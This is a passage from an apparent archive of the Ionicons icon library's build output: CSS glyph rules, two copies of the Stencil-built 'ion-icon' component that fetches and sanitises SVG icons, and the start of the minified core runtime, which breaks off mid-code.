um:before{content:"\f358"}.ion-md-power:before{content:"\f359"}.ion-md-pricetag:before{content:"\f35a"}.ion-md-pricetags:before{content:"\f35b"}.ion-md-print:before{content:"\f35c"}.ion-md-pulse:before{content:"\f35d"}.ion-md-qr-scanner:before{content:"\f35e"}.ion-md-quote:before{content:"\f35f"}.ion-md-radio:before{content:"\f362"}.ion-md-radio-button-off:before{content:"\f360"}.ion-md-radio-button-on:before{content:"\f361"}.ion-md-rainy:before{content:"\f363"}.ion-md-recording:before{content:"\f364"}.ion-md-redo:before{content:"\f365"}.ion-md-refresh:before{content:"\f366"}.ion-md-refresh-circle:before{content:"\f228"}.ion-md-remove:before{content:"\f368"}.ion-md-remove-circle:before{content:"\f367"}.ion-md-remove-circle-outline:before{content:"\f176"}.ion-md-reorder:before{content:"\f369"}.ion-md-repeat:before{content:"\f36a"}.ion-md-resize:before{content:"\f36b"}.ion-md-restaurant:before{content:"\f36c"}.ion-md-return-left:before{content:"\f36d"}.ion-md-return-right:before{content:"\f36e"}.ion-md-reverse-camera:before{content:"\f36f"}.ion-md-rewind:before{content:"\f370"}.ion-md-ribbon:before{content:"\f371"}.ion-md-rocket:before{content:"\f179"}.ion-md-rose:before{content:"\f372"}.ion-md-sad:before{content:"\f373"}.ion-md-save:before{content:"\f1a9"}.ion-md-school:before{content:"\f374"}.ion-md-search:before{content:"\f375"}.ion-md-send:before{content:"\f376"}.ion-md-settings:before{content:"\f377"}.ion-md-share:before{content:"\f379"}.ion-md-share-alt:before{content:"\f378"}.ion-md-shirt:before{content:"\f37a"}.ion-md-shuffle:before{content:"\f37b"}.ion-md-skip-backward:before{content:"\f37c"}.ion-md-skip-forward:before{content:"\f37d"}.ion-md-snow:before{content:"\f37e"}.ion-md-speedometer:before{content:"\f37f"}.ion-md-square:before{content:"\f381"}.ion-md-square-outline:before{content:"\f380"}.ion-md-star:before{content:"\f384"}.ion-md-star-half:before{content:"\f382"}.ion-md-star-outline:before{content:"\f383"}.ion-md-stats:before{content:"\f385"}.ion-md-stopwatch:before{content:"\f386"}.ion-md-subway:before{content:"\f387"}.ion-md-sunny:before{content:"\f388"}.ion-md-swap:before{content:"\f389"}.ion-md-switch:before{content:"\f38a"}.ion-md-sync:before{content:"\f38b"}.ion-md-tablet-landscape:before{content:"\f38c"}.ion-md-tablet-portrait:before{content:"\f38d"}.ion-md-tennisball:before{content:"\f38e"}.ion-md-text:before{content:"\f38f"}.ion-md-thermometer:before{content:"\f390"}.ion-md-thumbs-down:before{content:"\f391"}.ion-md-thumbs-up:before{content:"\f392"}.ion-md-thunderstorm:before{content:"\f393"}.ion-md-time:before{content:"\f394"}.ion-md-timer:before{content:"\f395"}.ion-md-today:before{content:"\f17d"}.ion-md-train:before{content:"\f396"}.ion-md-transgender:before{content:"\f397"}.ion-md-trash:before{content:"\f398"}.ion-md-trending-down:before{content:"\f399"}.ion-md-trending-up:before{content:"\f39a"}.ion-md-trophy:before{content:"\f39b"}.ion-md-tv:before{content:"\f17f"}.ion-md-umbrella:before{content:"\f39c"}.ion-md-undo:before{content:"\f39d"}.ion-md-unlock:before{content:"\f39e"}.ion-md-videocam:before{content:"\f39f"}.ion-md-volume-high:before{content:"\f123"}.ion-md-volume-low:before{content:"\f131"}.ion-md-volume-mute:before{content:"\f3a1"}.ion-md-volume-off:before{content:"\f3a2"}.ion-md-walk:before{content:"\f3a4"}.ion-md-wallet:before{content:"\f18f"}.ion-md-warning:before{content:"\f3a5"}.ion-md-watch:before{content:"\f3a6"}.ion-md-water:before{content:"\f3a7"}.ion-md-wifi:before{content:"\f3a8"}.ion-md-wine:before{content:"\f3a9"}.ion-md-woman:before{content:"\f3aa"}
esm/es2017/build/esckjbl8.sc.entry.js000064400000020402151701353760013165 0ustar00/*! Built with http://stenciljs.com */
import { h } from '../ionicons.core.js';

function getName(name, mode, ios, md) {
    mode = (mode || 'md').toLowerCase();
    if (ios && mode === 'ios') {
        name = ios.toLowerCase();
    }
    else if (md && mode === 'md') {
        name = md.toLowerCase();
    }
    else if (name) {
        name = name.toLowerCase();
        if (!/^md-|^ios-|^logo-/.test(name)) {
            name = `${mode}-${name}`;
        }
    }
    if (typeof name !== 'string' || name.trim() === '') {
        return null;
    }
    const invalidChars = name.replace(/[a-z]|-|\d/gi, '');
    if (invalidChars !== '') {
        return null;
    }
    return name;
}
function getSrc(src) {
    if (typeof src === 'string') {
        src = src.trim();
        if (src.length > 0 && /(\/|\.)/.test(src)) {
            return src;
        }
    }
    return null;
}
function isValid(elm) {
    if (elm.nodeType === 1) {
        if (elm.nodeName.toLowerCase() === 'script') {
            return false;
        }
        for (let i = 0; i < elm.attributes.length; i++) {
            const val = elm.attributes[i].value;
            if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) {
                return false;
            }
        }
        for (let i = 0; i < elm.childNodes.length; i++) {
            if (!isValid(elm.childNodes[i])) {
                return false;
            }
        }
    }
    return true;
}

class Icon {
    constructor() {
        this.isVisible = false;
        this.lazy = false;
    }
    componentWillLoad() {
        this.waitUntilVisible(this.el, '50px', () => {
            this.isVisible = true;
            this.loadIcon();
        });
    }
    componentDidUnload() {
        if (this.io) {
            this.io.disconnect();
            this.io = undefined;
        }
    }
    waitUntilVisible(el, rootMargin, cb) {
        if (this.lazy && this.win && this.win.IntersectionObserver) {
            const io = this.io = new this.win.IntersectionObserver((data) => {
                if (data[0].isIntersecting) {
                    io.disconnect();
                    this.io = undefined;
                    cb();
                }
            }, { rootMargin });
            io.observe(el);
        }
        else {
            cb();
        }
    }
    loadIcon() {
        if (!this.isServer && this.isVisible) {
            const url = this.getUrl();
            if (url) {
                getSvgContent(this.doc, url, 's-ion-icon')
                    .then(svgContent => this.svgContent = svgContent);
            }
        }
        if (!this.ariaLabel) {
            const name = getName(this.name, this.mode, this.ios, this.md);
            if (name) {
                this.ariaLabel = name
                    .replace('ios-', '')
                    .replace('md-', '')
                    .replace(/\-/g, ' ');
            }
        }
    }
    getUrl() {
        let url = getSrc(this.src);
        if (url) {
            return url;
        }
        url = getName(this.name, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        url = getSrc(this.icon);
        if (url) {
            return url;
        }
        url = getName(this.icon, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        return null;
    }
    getNamedUrl(name) {
        return `${this.resourcesUrl}svg/${name}.svg`;
    }
    hostData() {
        return {
            'role': 'img',
            class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size })
        };
    }
    render() {
        if (!this.isServer && this.svgContent) {
            return h("div", { class: "icon-inner", innerHTML: this.svgContent });
        }
        return h("div", { class: "icon-inner" });
    }
    static get is() { return "ion-icon"; }
    static get encapsulation() { return "shadow"; }
    static get properties() { return {
        "ariaLabel": {
            "type": String,
            "attr": "aria-label",
            "reflectToAttr": true,
            "mutable": true
        },
        "color": {
            "type": String,
            "attr": "color"
        },
        "doc": {
            "context": "document"
        },
        "el": {
            "elementRef": true
        },
        "icon": {
            "type": String,
            "attr": "icon",
            "watchCallbacks": ["loadIcon"]
        },
        "ios": {
            "type": String,
            "attr": "ios"
        },
        "isServer": {
            "context": "isServer"
        },
        "isVisible": {
            "state": true
        },
        "lazy": {
            "type": Boolean,
            "attr": "lazy"
        },
        "md": {
            "type": String,
            "attr": "md"
        },
        "mode": {
            "type": String,
            "attr": "mode"
        },
        "name": {
            "type": String,
            "attr": "name",
            "watchCallbacks": ["loadIcon"]
        },
        "resourcesUrl": {
            "context": "resourcesUrl"
        },
        "size": {
            "type": String,
            "attr": "size"
        },
        "src": {
            "type": String,
            "attr": "src",
            "watchCallbacks": ["loadIcon"]
        },
        "svgContent": {
            "state": true
        },
        "win": {
            "context": "window"
        }
    }; }
    static get style() { return ".sc-ion-icon-h{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}.ion-color.sc-ion-icon-h{color:var(--ion-color-base)!important}.icon-small.sc-ion-icon-h{font-size:var(--ion-icon-size-small,18px)!important}.icon-large.sc-ion-icon-h{font-size:var(--ion-icon-size-large,32px)!important}.icon-inner.sc-ion-icon, svg.sc-ion-icon{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}.ion-color-primary.sc-ion-icon-h{--ion-color-base:var(--ion-color-primary, #3880ff)}.ion-color-secondary.sc-ion-icon-h{--ion-color-base:var(--ion-color-secondary, #0cd1e8)}.ion-color-tertiary.sc-ion-icon-h{--ion-color-base:var(--ion-color-tertiary, #f4a942)}.ion-color-success.sc-ion-icon-h{--ion-color-base:var(--ion-color-success, #10dc60)}.ion-color-warning.sc-ion-icon-h{--ion-color-base:var(--ion-color-warning, #ffce00)}.ion-color-danger.sc-ion-icon-h{--ion-color-base:var(--ion-color-danger, #f14141)}.ion-color-light.sc-ion-icon-h{--ion-color-base:var(--ion-color-light, #f4f5f8)}.ion-color-medium.sc-ion-icon-h{--ion-color-base:var(--ion-color-medium, #989aa2)}.ion-color-dark.sc-ion-icon-h{--ion-color-base:var(--ion-color-dark, #222428)}"; }
}
const requests = new Map();
function getSvgContent(doc, url, scopedId) {
    let req = requests.get(url);
    if (!req) {
        req = fetch(url, { cache: 'force-cache' }).then(rsp => {
            if (rsp.ok) {
                return rsp.text();
            }
            return Promise.resolve(null);
        }).then(svgContent => validateContent(doc, svgContent, scopedId));
        requests.set(url, req);
    }
    return req;
}
function validateContent(document, svgContent, scopeId) {
    if (svgContent) {
        const frag = document.createDocumentFragment();
        const div = document.createElement('div');
        div.innerHTML = svgContent;
        frag.appendChild(div);
        for (let i = div.childNodes.length - 1; i >= 0; i--) {
            if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') {
                div.removeChild(div.childNodes[i]);
            }
        }
        const svgElm = div.firstElementChild;
        if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') {
            if (scopeId) {
                svgElm.setAttribute('class', scopeId);
            }
            if (isValid(svgElm)) {
                return div.innerHTML;
            }
        }
    }
    return '';
}
function createColorClasses(color) {
    return (color) ? {
        'ion-color': true,
        [`ion-color-${color}`]: true
    } : null;
}

export { Icon as IonIcon };
esm/es2017/build/esckjbl8.entry.js000064400000020214151701353760012562 0ustar00/*! Built with http://stenciljs.com */
import { h } from '../ionicons.core.js';

function getName(name, mode, ios, md) {
    mode = (mode || 'md').toLowerCase();
    if (ios && mode === 'ios') {
        name = ios.toLowerCase();
    }
    else if (md && mode === 'md') {
        name = md.toLowerCase();
    }
    else if (name) {
        name = name.toLowerCase();
        if (!/^md-|^ios-|^logo-/.test(name)) {
            name = `${mode}-${name}`;
        }
    }
    if (typeof name !== 'string' || name.trim() === '') {
        return null;
    }
    const invalidChars = name.replace(/[a-z]|-|\d/gi, '');
    if (invalidChars !== '') {
        return null;
    }
    return name;
}
function getSrc(src) {
    if (typeof src === 'string') {
        src = src.trim();
        if (src.length > 0 && /(\/|\.)/.test(src)) {
            return src;
        }
    }
    return null;
}
function isValid(elm) {
    if (elm.nodeType === 1) {
        if (elm.nodeName.toLowerCase() === 'script') {
            return false;
        }
        for (let i = 0; i < elm.attributes.length; i++) {
            const val = elm.attributes[i].value;
            if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) {
                return false;
            }
        }
        for (let i = 0; i < elm.childNodes.length; i++) {
            if (!isValid(elm.childNodes[i])) {
                return false;
            }
        }
    }
    return true;
}

class Icon {
    constructor() {
        this.isVisible = false;
        this.lazy = false;
    }
    componentWillLoad() {
        this.waitUntilVisible(this.el, '50px', () => {
            this.isVisible = true;
            this.loadIcon();
        });
    }
    componentDidUnload() {
        if (this.io) {
            this.io.disconnect();
            this.io = undefined;
        }
    }
    waitUntilVisible(el, rootMargin, cb) {
        if (this.lazy && this.win && this.win.IntersectionObserver) {
            const io = this.io = new this.win.IntersectionObserver((data) => {
                if (data[0].isIntersecting) {
                    io.disconnect();
                    this.io = undefined;
                    cb();
                }
            }, { rootMargin });
            io.observe(el);
        }
        else {
            cb();
        }
    }
    loadIcon() {
        if (!this.isServer && this.isVisible) {
            const url = this.getUrl();
            if (url) {
                getSvgContent(this.doc, url, 's-ion-icon')
                    .then(svgContent => this.svgContent = svgContent);
            }
        }
        if (!this.ariaLabel) {
            const name = getName(this.name, this.mode, this.ios, this.md);
            if (name) {
                this.ariaLabel = name
                    .replace('ios-', '')
                    .replace('md-', '')
                    .replace(/\-/g, ' ');
            }
        }
    }
    getUrl() {
        let url = getSrc(this.src);
        if (url) {
            return url;
        }
        url = getName(this.name, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        url = getSrc(this.icon);
        if (url) {
            return url;
        }
        url = getName(this.icon, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        return null;
    }
    getNamedUrl(name) {
        return `${this.resourcesUrl}svg/${name}.svg`;
    }
    hostData() {
        return {
            'role': 'img',
            class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size })
        };
    }
    render() {
        if (!this.isServer && this.svgContent) {
            return h("div", { class: "icon-inner", innerHTML: this.svgContent });
        }
        return h("div", { class: "icon-inner" });
    }
    static get is() { return "ion-icon"; }
    static get encapsulation() { return "shadow"; }
    static get properties() { return {
        "ariaLabel": {
            "type": String,
            "attr": "aria-label",
            "reflectToAttr": true,
            "mutable": true
        },
        "color": {
            "type": String,
            "attr": "color"
        },
        "doc": {
            "context": "document"
        },
        "el": {
            "elementRef": true
        },
        "icon": {
            "type": String,
            "attr": "icon",
            "watchCallbacks": ["loadIcon"]
        },
        "ios": {
            "type": String,
            "attr": "ios"
        },
        "isServer": {
            "context": "isServer"
        },
        "isVisible": {
            "state": true
        },
        "lazy": {
            "type": Boolean,
            "attr": "lazy"
        },
        "md": {
            "type": String,
            "attr": "md"
        },
        "mode": {
            "type": String,
            "attr": "mode"
        },
        "name": {
            "type": String,
            "attr": "name",
            "watchCallbacks": ["loadIcon"]
        },
        "resourcesUrl": {
            "context": "resourcesUrl"
        },
        "size": {
            "type": String,
            "attr": "size"
        },
        "src": {
            "type": String,
            "attr": "src",
            "watchCallbacks": ["loadIcon"]
        },
        "svgContent": {
            "state": true
        },
        "win": {
            "context": "window"
        }
    }; }
    static get style() { return ":host{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}:host(.ion-color){color:var(--ion-color-base)!important}:host(.icon-small){font-size:var(--ion-icon-size-small,18px)!important}:host(.icon-large){font-size:var(--ion-icon-size-large,32px)!important}.icon-inner,svg{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}:host(.ion-color-primary){--ion-color-base:var(--ion-color-primary, #3880ff)}:host(.ion-color-secondary){--ion-color-base:var(--ion-color-secondary, #0cd1e8)}:host(.ion-color-tertiary){--ion-color-base:var(--ion-color-tertiary, #f4a942)}:host(.ion-color-success){--ion-color-base:var(--ion-color-success, #10dc60)}:host(.ion-color-warning){--ion-color-base:var(--ion-color-warning, #ffce00)}:host(.ion-color-danger){--ion-color-base:var(--ion-color-danger, #f14141)}:host(.ion-color-light){--ion-color-base:var(--ion-color-light, #f4f5f8)}:host(.ion-color-medium){--ion-color-base:var(--ion-color-medium, #989aa2)}:host(.ion-color-dark){--ion-color-base:var(--ion-color-dark, #222428)}"; }
}
const requests = new Map();
function getSvgContent(doc, url, scopedId) {
    let req = requests.get(url);
    if (!req) {
        req = fetch(url, { cache: 'force-cache' }).then(rsp => {
            if (rsp.ok) {
                return rsp.text();
            }
            return Promise.resolve(null);
        }).then(svgContent => validateContent(doc, svgContent, scopedId));
        requests.set(url, req);
    }
    return req;
}
function validateContent(document, svgContent, scopeId) {
    if (svgContent) {
        const frag = document.createDocumentFragment();
        const div = document.createElement('div');
        div.innerHTML = svgContent;
        frag.appendChild(div);
        for (let i = div.childNodes.length - 1; i >= 0; i--) {
            if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') {
                div.removeChild(div.childNodes[i]);
            }
        }
        const svgElm = div.firstElementChild;
        if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') {
            if (scopeId) {
                svgElm.setAttribute('class', scopeId);
            }
            if (isValid(svgElm)) {
                return div.innerHTML;
            }
        }
    }
    return '';
}
function createColorClasses(color) {
    return (color) ? {
        'ion-color': true,
        [`ion-color-${color}`]: true
    } : null;
}

export { Icon as IonIcon };
esm/es2017/index.js000064400000000026151701353760007724 0ustar00// ionicons: ES Moduleesm/es2017/ionicons.core.js000064400000064426151701353760011403 0ustar00/*!
 * ionicons: Core, es2017
 * Built with http://stenciljs.com
 */
function n(n,t){return"sc-"+n.n+(t&&t!==O?"-"+t:"")}function t(n,t){return n+(t?"-h":"-s")}function e(t,e,r,i){var o=r.n+i.mode,u=r[o];if((2===r.t||1===r.t&&!t.r.e)&&(i["s-sc"]=u?n(r,i.mode):n(r)),u||(u=r[o=r.n+O]),u){var f=e.i.head;if(e.e)if(1===r.t)f=i.shadowRoot;else for(var c=i;c=e.o(c);)if(c.host&&c.host.shadowRoot){f=c.host.shadowRoot;break}var a=t.u.get(f);if(a||t.u.set(f,a={}),!a[o]){var s=void 0;if((s=e.f("style")).innerHTML=u,a[o]=!0,s){var l=f.querySelectorAll("[data-styles]");e.c(f,s,l.length&&l[l.length-1].nextSibling||f.firstChild)}}}}function r(n,t,e,r){void 0===r&&(r="boolean"==typeof e);var i=t!==(t=t.replace(/^xlink\:?/,""));null==e||r&&(!e||"false"===e)?i?n.removeAttributeNS(N,_(t)):n.removeAttribute(t):"function"!=typeof e&&(e=r?"":e.toString(),i?n.setAttributeNS(N,_(t),e):n.setAttribute(t,e))}function i(n,t,e,i,f,c,a){if("class"!==e||c)if("style"===e){for(var s in i)f&&null!=f[s]||(/-/.test(s)?t.style.a(s):t.style[s]="");for(var s in f)i&&f[s]===i[s]||(/-/.test(s)?t.style.setProperty(s,f[s]):t.style[s]=f[s])}else if("o"!==e[0]||"n"!==e[1]||!/[A-Z]/.test(e[2])||e in t)if("list"!==e&&"type"!==e&&!c&&(e in t||-1!==["object","function"].indexOf(typeof f)&&null!==f)){var l=n.s(t);l&&l.l&&l.l[e]?(u(t,e,f),a&&l.l[e].v&&r(t,l.l[e].p,f,4===l.l[e].d)):"ref"!==e&&(u(t,e,null==f?"":f),null!=f&&!1!==f||n.r.y(t,e))}else null!=f&&"key"!==e?r(t,e,f):(c||n.r.m(t,e)&&(null==f||!1===f))&&n.r.y(t,e);else e=_(e)in t?_(e.substring(2)):_(e[2])+e.substring(3),f?f!==i&&n.r.b(t,e,f):n.r.w(t,e);else if(i!==f){var v=o(i),p=o(f),d=v.filter(function(n){return!p.includes(n)}),h=o(t.className).filter(function(n){return!d.includes(n)}),y=p.filter(function(n){return!v.includes(n)&&!h.includes(n)});h.push.apply(h,y),t.className=h.join(" ")}}function o(n){return null==n||""===n?[]:n.trim().split(/\s+/)}function u(n,t,e){try{n[t]=e}catch(n){}}function f(n,t,e,r,o){var u=11===e.g.nodeType&&e.g.host?e.g.host:e.g,f=t&&t.vattrs||S,c=e.vattrs||S;for(o in f)c&&null!=c[o]||null==f[o]||i(n,u,o,f[o],void 0,r,e.M);for(o in c)o in f&&c[o]===("value"===o||"checked"===o?u[o]:f[o])||i(n,u,o,f[o],c[o],r,e.M)}function c(n,t){function e(i,o,u,c,a,v,m,b,w){if(b=o.vchildren[u],s||(p=!0,"slot"===b.vtag&&(l&&t.j(c,l+"-s"),b.vchildren?b.k=!0:b.A=!0)),P(b.vtext))b.g=t.C(b.vtext);else if(b.A)b.g=t.C("");else{if(v=b.g=R||"svg"===b.vtag?t.O("http://www.w3.org/2000/svg",b.vtag):t.f(b.k?"slot-fb":b.vtag),n.S(v)&&n.x.delete(y),R="svg"===b.vtag||"foreignObject"!==b.vtag&&R,f(n,null,b,R),P(l)&&v["s-si"]!==l&&t.j(v,v["s-si"]=l),b.vchildren)for(a=0;a<b.vchildren.length;++a)(m=e(i,b,a,v))&&t.P(v,m);"svg"===b.vtag&&(R=!1)}return b.g["s-hn"]=h,(b.k||b.A)&&(b.g["s-sr"]=!0,b.g["s-cr"]=d,b.g["s-sn"]=b.vname||"",(w=i&&i.vchildren&&i.vchildren[u])&&w.vtag===b.vtag&&i.g&&r(i.g)),b.g}function r(e,i,o,u){n._=!0;var f=t.T(e);for(o=f.length-1;o>=0;o--)(u=f[o])["s-hn"]!==h&&u["s-ol"]&&(t.W(u),t.c(a(u),u,c(u)),t.W(u["s-ol"]),u["s-ol"]=null,p=!0),i&&r(u,i);n._=!1}function i(n,r,i,o,u,f,a,s){var l=n["s-cr"];for((a=l&&t.o(l)||n).shadowRoot&&t.N(a)===h&&(a=a.shadowRoot);u<=f;++u)o[u]&&(s=P(o[u].vtext)?t.C(o[u].vtext):e(null,i,u,n))&&(o[u].g=s,t.c(a,s,c(r)))}function o(n,e,i,o){for(;e<=i;++e)P(n[e])&&(o=n[e].g,v=!0,o["s-ol"]?t.W(o["s-ol"]):r(o,!0),t.W(o))}function u(n,t){return n.vtag===t.vtag&&n.vkey===t.vkey&&("slot"!==n.vtag||n.vname===t.vname)}function c(n){return n&&n["s-ol"]?n["s-ol"]:n}function a(n){return t.o(n["s-ol"]?n["s-ol"]:n)}var s,l,v,p,d,h,y,m=[];return function b(w,g,M,j,k,$,A,E,C,O,S,x){if(y=w,h=t.N(y),d=y["s-cr"],s=j,l=y["s-sc"],p=v=!1,function s(l,v,p){var d=v.g=l.g,h=l.vchildren,y=v.vchildren;R=v.g&&P(t.R(v.g))&&void 0!==v.g.ownerSVGElement,R="svg"===v.vtag||"foreignObject"!==v.vtag&&R,P(v.vtext)?(p=d["s-cr"])?t.L(t.o(p),v.vtext):l.vtext!==v.vtext&&t.L(d,v.vtext):("slot"!==v.vtag&&f(n,l,v,R),P(h)&&P(y)?function m(n,f,l,v,p,d,h,y){for(var m=0,b=0,w=f.length-1,g=f[0],M=f[w],j=v.length-1,k=v[0],$=v[j];m<=w&&b<=j;)if(null==g)g=f[++m];else if(null==M)M=f[--w];else if(null==k)k=v[++b];else if(null==$)$=v[--j];else if(u(g,k))s(g,k),g=f[++m],k=v[++b];else if(u(M,$))s(M,$),M=f[--w],$=v[--j];else if(u(g,$))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(g.g)),s(g,$),t.c(n,g.g,t.D(M.g)),g=f[++m],$=v[--j];else if(u(M,k))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(M.g)),s(M,k),t.c(n,M.g,g.g),M=f[--w],k=v[++b];else{for(p=null,d=m;d<=w;++d)if(f[d]&&P(f[d].vkey)&&f[d].vkey===k.vkey){p=d;break}P(p)?((y=f[p]).vtag!==k.vtag?h=e(f&&f[b],l,p,n):(s(y,k),f[p]=void 0,h=y.g),k=v[++b]):(h=e(f&&f[b],l,b,n),k=v[++b]),h&&t.c(a(g.g),h,c(g.g))}m>w?i(n,null==v[j+1]?null:v[j+1].g,l,v,b,j):b>j&&o(f,m,w)}(d,h,v,y):P(y)?(P(l.vtext)&&t.L(d,""),i(d,null,v,y,0,y.length-1)):P(h)&&o(h,0,h.length-1)),R&&"svg"===v.vtag&&(R=!1)}(g,M),p){for(function n(e,r,i,o,u,f,c,a,s,l){for(u=0,f=(r=t.T(e)).length;u<f;u++){if((i=r[u])["s-sr"]&&(o=i["s-cr"]))for(a=t.T(t.o(o)),s=i["s-sn"],c=a.length-1;c>=0;c--)(o=a[c])["s-cn"]||o["s-nr"]||o["s-hn"]===i["s-hn"]||((3===(l=t.F(o))||8===l)&&""===s||1===l&&null===t.H(o,"slot")&&""===s||1===l&&t.H(o,"slot")===s)&&(m.some(function(n){return n.q===o})||(v=!0,o["s-sn"]=s,m.push({U:i,q:o})));1===t.F(i)&&n(i)}}(M.g),A=0;A<m.length;A++)(E=m[A]).q["s-ol"]||((C=t.C(""))["s-nr"]=E.q,t.c(t.o(E.q),E.q["s-ol"]=C,E.q));for(n._=!0,A=0;A<m.length;A++){for(E=m[A],S=t.o(E.U),x=t.D(E.U),C=E.q["s-ol"];C=t.B(C);)if((O=C["s-nr"])&&O&&O["s-sn"]===E.q["s-sn"]&&S===t.o(O)&&(O=t.D(O))&&O&&!O["s-nr"]){x=O;break}(!x&&S!==t.o(E.q)||t.D(E.q)!==x)&&E.q!==x&&(t.W(E.q),t.c(S,E.q,x))}n._=!1}return v&&function n(e,r,i,o,u,f,c,a){for(o=0,u=(i=t.T(e)).length;o<u;o++)if(r=i[o],1===t.F(r)){if(r["s-sr"])for(c=r["s-sn"],r.hidden=!1,f=0;f<u;f++)if(i[f]["s-hn"]!==r["s-hn"])if(a=t.F(i[f]),""!==c){if(1===a&&c===t.H(i[f],"slot")){r.hidden=!0;break}}else if(1===a||3===a&&""!==t.I(i[f]).trim()){r.hidden=!0;break}n(r)}}(M.g),m.length=0,M}}function a(n,t){n&&(n.vattrs&&n.vattrs.ref&&n.vattrs.ref(t?null:n.g),n.vchildren&&n.vchildren.forEach(function(n){a(n,t)}))}function s(n,t){for(var e,r,i=null,o=!1,u=!1,f=arguments.length;f-- >2;)L.push(arguments[f]);for(;L.length>0;){var c=L.pop();if(c&&void 0!==c.pop)for(f=c.length;f--;)L.push(c[f]);else"boolean"==typeof c&&(c=null),(u="function"!=typeof n)&&(null==c?c="":"number"==typeof c?c=String(c):"string"!=typeof c&&(u=!1)),u&&o?i[i.length-1].vtext+=c:null===i?i=[u?{vtext:c}:c]:i.push(u?{vtext:c}:c),o=u}if(null!=t){if(t.className&&(t.class=t.className),"object"==typeof t.class){for(f in t.class)t.class[f]&&L.push(f);t.class=L.join(" "),L.length=0}null!=t.key&&(e=t.key),null!=t.name&&(r=t.name)}return"function"==typeof n?n(t,i||[],D):{vtag:n,vchildren:i,vtext:void 0,vattrs:t,vkey:e,vname:r,g:void 0,M:!1}}function l(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}function v(n){return{G:n[0],Q:n[1],Y:!!n[2],Z:!!n[3],z:!!n[4]}}function p(n,t){if(P(t)&&"object"!=typeof t&&"function"!=typeof t){if(n===Boolean||4===n)return"false"!==t&&(""===t||!!t);if(n===Number||8===n)return parseFloat(t);if(n===String||2===n)return t.toString()}return t}function d(n,t){n.J.add(t),n.K.has(t)||(n.K.set(t,!0),n.V?n.queue.write(function(){return h(n,t)}):n.queue.tick(function(){return h(n,t)}))}function h(n,e,r,i,o){return $(this,void 0,void 0,function(){var r,u;return A(this,function(f){switch(f.X){case 0:if(n.K.delete(e),n.nn.has(e))return[3,12];if(i=n.tn.get(e))return[3,6];if((o=n.en.get(e))&&!o["s-rn"])return(o["s-rc"]=o["s-rc"]||[]).push(function(){h(n,e)}),[2];if(!(i=function c(n,t,e,r,i,o,u){try{r=new(i=n.s(t).rn),function f(n,t,e,r,i){n.in.set(r,e),n.on.has(e)||n.on.set(e,{}),Object.entries(Object.assign({color:{type:String}},t.properties,{mode:{type:String}})).forEach(function(t){var o=t[0],u=t[1];(function f(n,t,e,r,i,o,u,c){if(t.type||t.state){var a=n.on.get(e);t.state||(!t.attr||void 0!==a[i]&&""!==a[i]||(u=o&&o.un)&&P(c=u[t.attr])&&(a[i]=p(t.type,c)),e.hasOwnProperty(i)&&(void 0===a[i]&&(a[i]=p(t.type,e[i])),"mode"!==i&&delete e[i])),r.hasOwnProperty(i)&&void 0===a[i]&&(a[i]=r[i]),t.watchCallbacks&&(a[F+i]=t.watchCallbacks.slice()),b(r,i,function s(t){return(t=n.on.get(n.in.get(this)))&&t[i]},function l(e,r){(r=n.in.get(this))&&(t.state||t.mutable)&&y(n,r,i,e)})}else if(t.elementRef)m(r,i,e);else if(t.context){var v=n.fn(t.context);void 0!==v&&m(r,i,v.cn&&v.cn(e)||v)}})(n,u,e,r,o,i)})}(n,i,t,r,e)}catch(e){r={},n.an(e,7,t,!0)}return n.tn.set(t,r),r}(n,e,n.sn.get(e))))return[3,5];f.X=1;case 1:return f.ln.push([1,4,,5]),i.componentWillLoad?[4,i.componentWillLoad()]:[3,3];case 2:f.vn(),f.X=3;case 3:return[3,5];case 4:return r=f.vn(),n.an(r,3,e),[3,5];case 5:return[3,11];case 6:if(!i)return[3,11];f.X=7;case 7:return f.ln.push([7,10,,11]),i.componentWillUpdate?[4,i.componentWillUpdate()]:[3,9];case 8:f.vn(),f.X=9;case 9:return[3,11];case 10:return u=f.vn(),n.an(u,5,e),[3,11];case 11:(function a(n,e,r,i){try{var o,u=e.rn.host,f=e.rn.encapsulation,c="shadow"===f&&n.r.e,a=r;if(o=function l(n,t,e){return n&&Object.keys(n).forEach(function(r){n[r].reflectToAttr&&((e=e||{})[r]=t[r])}),e}(e.rn.properties,i),c&&(a=r.shadowRoot),!r["s-rn"]){n.pn(n,n.r,e,r);var v=r["s-sc"];v&&(n.r.j(r,t(v,!0)),"scoped"===f&&n.r.j(r,t(v)))}if(i.render||i.hostData||u||o){n.dn=!0;var p=i.render&&i.render(),d=void 0;d=i.hostData&&i.hostData(),o&&(d=d?Object.assign(d,o):o),n.dn=!1;var h=n.hn.get(r)||{};h.g=a;var y=s(null,d,p);y.M=!0,n.hn.set(r,n.render(r,h,y,c,f))}r["s-rn"]=!0,r["s-rc"]&&(r["s-rc"].forEach(function(n){return n()}),r["s-rc"]=null)}catch(t){n.dn=!1,n.an(t,8,r,!0)}})(n,n.s(e),e,i),e["s-init"](),f.X=12;case 12:return[2]}})})}function y(n,t,e,r,i){var o=n.on.get(t);o||n.on.set(t,o={});var u=o[e];if(r!==u&&(o[e]=r,i=n.tn.get(t))){var f=o[F+e];if(f)for(var c=0;c<f.length;c++)try{i[f[c]].call(i,r,u,e)}catch(n){}!n.dn&&t["s-rn"]&&d(n,t)}}function 